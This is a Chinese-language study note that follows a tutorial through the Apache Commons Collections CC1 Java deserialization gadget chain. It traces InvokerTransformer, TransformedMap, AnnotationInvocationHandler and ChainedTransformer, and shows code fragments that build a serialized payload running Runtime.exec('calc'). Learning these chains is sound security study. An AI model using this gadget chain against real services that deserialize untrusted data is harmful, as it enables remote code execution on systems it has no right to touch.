CommonsCollection - 抄、学和做
CommonsCollections 是 Apache Commons 库中的一个模块,提供了一组实用的集合类,补充了Java标准的Collections API。在 Java 应用程序中,集合类经常用于存储和操作数据。由于其普遍性和重要性,Java 的反序列化漏洞中经常会涉及到集合类。
跟着教程一步步做着学。基本算是教程的一个笔记。
其他参考资料:
CC1
环境配置
配置JDK1.8.0_u65环境。
IDEA新建一个maven项目,然后MVNRepository下载junit4.11和commonscollections3.2.1。
因为sun公司的代码都是class文件,我们所能看到的都是反编译的,且没办法被搜索,所以说可以通过OpenJDK进行下载。
首先,漏洞修复会造成文件修改。可以寻找文件修改前的一个版本。
1 | https://hg.openjdk.org/jdk8u/jdk8u/jdk/log?rev=annotationinvocationhandler |
但是这个页面下没有一个是教程中的版本,非常神秘。教程中的版本为上面搜索结果的第一个的父版本。
1 | https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4 |
下载完成后,解压文件。src/share/classes目录下有sun目录。将其复制。
回到JDK1.8.0_u65目录下,其根目录下有
src.zip文件,将其解压。发现里面没有sun目录,就要将之前下载的OpenJDK中的sun目录复制到这里。回到IDEA中,File->Project Structure->Platform Settings->SDKs->JDK1.8.0_u65下,点击
Sourcepath,将刚才解压的源码路径加上。如:1
C:\Program Files\Java\jdk1.8.0_65\src
同样,Maven下载后也是class文件。右上角有一个download source,下载即可得到.java源文件。
至于怎么下载,可以参考这个
Maven->Execute Maven Goal->mvn dependency:resolve -Dclassifier=sources
分析出口方法
首先看到InvokerTransformer.java。我们选取构造函数和它的一个公共函数来看。
1 | public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { |
可以发现,这块(transform()方法)简直就直接是一个用到反射的任意类加载+任意函数执行。
1 | Class cls = input.getClass(); //获取Class |
首先尝试普通反射。
1 | import java.io.*; |
然后尝试调用InvokerTransformer.transform() 注意:需要照着源码做哦,看源码的输入输出
1 | public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { |
这里传完了以后那边使用反射的特性调用了Runtime.getRuntime().exec("calc"),弹了计算器。
这样,我们就找到了出口方法。
找到利用链
找第一步调用
目前,我们已经找到了出口方法,就是InvokerTransformer.transform()。现在,我们就需要找找同名函数了。也即寻找transform()方法。
我们在IDEA里右键transform(),然后Find Usages。
小技巧:修改Find Usages的Scope
快捷键:ctrl+alt+shift+F7,或者直接点左边那一列按钮里的Settings->Scope
Find Usages找到很多调用。我们的目标就是找到可以回到readObject里。就这样一个个往下看,比如,看到一个org.apache.commons.collections下的beanMap.convertType()方法,我们就可以再找有哪些方法与convertType重名。
视频攻略直接告诉我们是找到了org.apache.commons.collections.map下。
看到DefaultMap类中有get方法调用了transform;lazyMap也一样,TransfromedMap有很多方法调用transform。
选取TransfromedMap类中的checkSetValue()方法。
1 | protected Object checkSetValue(Object value) { |
接着看到TransfromedMap类的构造函数,发现是一个protected方法。protected修饰的成员可以被同一个包内的其他类访问,以及该类的子类(不管子类是否在同一个包内)访问,但不能被其他包中的类访问。
1 | protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { |
看看这个构造函数被哪个函数使用了。往上搜,发现有一个static方法,decorate。这样,就可以通过调用这个静态方法来进行TranformedMap的实例化。
1 | public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { |
推测这个函数是通过调用TransformedMap对Transformer进行一定的处理。有点像代理。
编写代码。我们看到,最后是要调用TransformedMap.checkSetValue(),从而调用TransformedMap.checkSetValue()方法体中的valueTransformer.transform(value);。查看代码,实际上是只对Value进行操作。
1 | public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { |
我们从decorate切入,其在运行TransformedMap.decorate()时,会返回一个新的TransformedMap对象,
1 | public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { |
再看构造函数,
1 | protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { |
这里会将我们传入的invokerTransformer赋值给this.valueTransformer。这样,如果调用checkSetValue的话,就会运行invokerTransformer.transfrom了。这里的value如果可控就可以实现RCE。
1 | protected Object checkSetValue(Object value) { |
找第二步调用
那么这里就得看哪里调用了checkSetValue。ctrl+alt+F7,发现只有一处调用了这个函数,即MapEntry.setValue(),继承了AbstractInputCheckedMapDecorator。AbstractInputCheckedMapDecorator是一个抽象类,继承了AbstractMapDecorator(注:TransformedMap继承了AbstractInputCheckedMapDecorator)。
MapEntry.java
1 | public Object setValue(Object value) { |
再查看这个setValue的调用。很多都调用了这个代码。所以需要进行一个理解。首先看类名,MapEntry,一个entry就是一个键值对的值。比如下面这个代码例子:
1 | for(Map.Entry entry:map.entrySet()){ |
这是一个经典的遍历键值对的例子。entry代表一个键值对。再查看这个方法,发现这个setValue就是重写了这个方法。也就是说,只要遍历我们上面经过decorate()处理过的map,就能触发setValue方法。因为TransformedMap没有setValue方法,就会去找其父类的setValue方法,也即AbstractInputCheckedMapDecorator.setValue方法,就会调用TransformedMap.checkSetValue。
1 | public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { |
这代表这条链是可以用的。已经成功一半了。之后只要找到有遍历数组的地方,且它调用了setValue()即可执行后半条链。
找第三步调用
最好的结果是找readObject()方法里就有调用setValue()的。直接对setValue()进行Find Usages,一个个找,然后发现:
sun.reflect.annotation包下有一个AnnotationInvocationHandler类,类中有readObject(),调用了setValue()。
AnnotationInvocationHandler.java
1 | private void readObject(java.io.ObjectInputStream s) |
可见,这个类完全符合要求。首先看这个AnnotationInvocationHandler类的构造函数。
AnnotationInvocationHandler.java
1 | AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { |
Class<? extends Annotation> type, Map<String, Object> memberValues这两个都是完全可控的。
分析Class<? extends Annotation> type,其继承自Annotation,也就是注解。例:@Override就是一个Annotation。Map<String, Object> memberValues就直接是一个Map。可以直接将上面构造好的Map传进去。
没写Public的类怎么办?
注意,这个AnnotationInvocationHandler的类没有被public修饰。也就是说,它是默认的default修饰的。这说明只有在同一个包的类中才能访问到这个类,也就是说,我们需要用反射的方式获取这个类。
没法先先实例化这个类再对这个对象getClass()的话,就可以直接用包名。Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");即可。
1 | Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 选取包名 |
目前,这个Exp存在着3个问题。
- Runtime对象是自己生成的;而Runtime是无法被序列化的。
- AnnotationInvocationHandler.readObject()中
setValue()方法的参数是new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)),这块儿是控制不了的。 - AnnotationInvocationHandler.readObject()中需要满足两个if条件。
解决第一个问题:如何解决Runtime对象无法序列化?
虽然Runtime没法被序列化,但是Runtime.class可以被序列化。
1 | Class c = Runtime.class; // 获取 Runtime 类的 Class 对象。 |
接下来,需要把这个改成之前的利用链。首先:
1 | new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class); |
(回想起一开始的调用方法:new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);)
我们发现,Method getRuntimeMethod = c.getMethod("getRuntime",null);这里对Runtime.class(即c)调用了getMethod方法,那么就是在这里进行这段话的调用。我们点进c.getMethod,查看其参数。其参数为:
1 | String name, Class<?>... parameterTypes |
那么,所对应的InvokerTransformer的第二个参数(即“参数类型”参数)即为一个字符串类和一个Class数组类,即String.class, Class[].class。
对于第三个参数(即“参数(args)”参数)来说,我们的c.getMethod("getRuntime",null)传入了两个参数,"getRuntime",null,那么直接new一个Object数组放进去即可。
可得改写为:
1 | new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class); |
这就是c.getMethod("getRuntime",null);通过InvokerTransformer来表示的方式。原Exp的那一句就可以写成:
1 | Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class); |
注意强制类型转换。
下一步是转换这段代码:
1 | Runtime r = (Runtime) getRuntimeMethod.invoke(null,null); |
转换为:
1 | Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod); |
完全一样。首先,我们需要调用的是getRuntimeMethod.invoke方法,所以transform(getRuntimeMethod),InvokerTransformer的第一个参数为"invoke"。然后,看invoke接收的参数,发现是一个Object对象,一个Object数组。把这个函数相应的参数放到第三个参数的Object数组里即可。
接下来,
1 | Method execMethod = c.getMethod("exec", String.class); |
这两句并不是可以需要苦哈哈再写下面这种了,而是刚才直接获取了Runtime,能直接用Runtime.exec()来解决。
1 | Method execMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"exec", String.class}).transform(getRuntimeMethod); |
也就是可以直接用这一步来办:
1 | new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r); |
总的代码为:
1 | Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class); |
这个就是
1 | Class c = Runtime.class; |
的可序列化版本。运行,直接弹计算器了。
Transform的优化
这个是类似“一前一后”的调用。如果要完成全部的反序列化链要写很多代码,但是看到之前有一个ChainedTransformer类。其构造函数如下
1 | public static Transformer getInstance(Transformer[] transformers) { |
传入一个Transformer[],其transform()方法可以完成对transformer的递归调用。
1 | public Object transform(Object object) { |
可将上面的三行优化到一起:
1 | Transformer[] transformers = new Transformer[]{ |
一开始传入一个Runtime.class,后面接着递归调用即可。这就是只调用了一个transform。
现在的代码为:
1 | public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException { |
解决第三个问题:满足if条件
目前执行不了,因为刚才的3个问题还剩两个:
2. AnnotationInvocationHandler.readObject()中setValue()方法的参数是new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)),这块儿是控制不了的。
3. AnnotationInvocationHandler.readObject()中需要满足两个if条件。
动态调试一下,发现卡在了
AnnotationInvocation.java
1 | String name = memberValue.getKey(); //获取这个key |
该如何绕过?向上看memberTypes的定义,发现它是annotationType.memberTypes();,再往前又有annotationType = AnnotationType.getInstance(type);
1 | annotationType = AnnotationType.getInstance(type); // 这行代码使用给定的类型 type 获取对应的注解类型。AnnotationType.getInstance(type) 返回一个 AnnotationType 对象,代表了这个注解类型。 |
所以这个就是找存在成员方法的注解类,并且把传进去的Map的key修改为该注解类中的成员方法名。点进去我们之前使用的Override注解类,发现其不存在成员方法。
1 |
|
再向上点@Target,查看Target注解类,其存在
1 |
|
ElementType[] value();成员方法。
1 | map.put("value","aaa"); // 修改key为value,和Target注解类的成员方法名对应 |
接下来是第二个if。
1 | if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) |
检查是否能强制类型转换?即,value能否强转为memberType的实例或value是否能强转为ExceptionProxy的实例?
这部分代码使用了逻辑非操作符 !,对前面两个条件的结果进行取反。也就是说,如果 value 不是 memberType 的实例并且也不是 ExceptionProxy 类的实例,则整个表达式的结果为 true;否则为 false。
能过。
解决第二个问题:setValue参数不可控
- AnnotationInvocationHandler.readObject()中
setValue()方法的参数是new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)),这块儿是控制不了的。
再看这个setValue()方法,
1 | memberValue.setValue(new AnnotationTypeMismatchExceptionProxy( |
我们需要把Runtime.class放进去,而不是这个AnnotationTypeMismatchExceptionProxy()。
教程回想了之前看到的类:“ConstantTransformer”类,其无论输入什么,都会返回return iConstant;。那只要最后调用的是ConstantTransformer的transform,就可以把值改过来了。
ConstantTransformer.java
1 | public Object transform(Object input) { |
最终的Exp
1 | public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException { |
运行后,在反序列化时成功弹计算器。
补充学习
Java 单例类
Java 中的单例类是一种设计模式,用于确保某个类只有一个实例,并提供一个全局访问点。这种模式通常用于控制资源的访问,例如数据库连接、线程池、日志记录器等。
在这个调用链中,Runtime就是一个很经典的单例类。
Runtime 类是 Java 中的一个单例类,用于表示当前 Java 应用程序的运行时环境。通过 Runtime 类,可以获取有关 Java 虚拟机的信息,并且可以与系统进行交互,比如执行系统命令、获取系统属性等。由于每个 Java 应用程序只有一个运行时环境,因此 Runtime 类使用单例模式实现,即在整个应用程序中只有一个 Runtime 类的实例。
Runtime 类的构造方法是私有的,因此外部无法直接实例化 Runtime 对象。相反,Runtime 类提供了一个静态方法 getRuntime() 来获取 Runtime 类的实例。这个方法会返回当前 Java 应用程序的 Runtime 对象,如果该对象尚未创建,则会创建一个新的实例并返回。
所以在调用链中,需要Runtime.getRuntime()来获取Runtime对象。注意,Runtime的构造方法是私有的,所以没有办法通过构造方法的方式获取Runtime类的对象。
所以用反射的方式调用Runtime对象并且获取方法需要四步:
1 | Class c = Class.forName("java.lang.Runtime"); |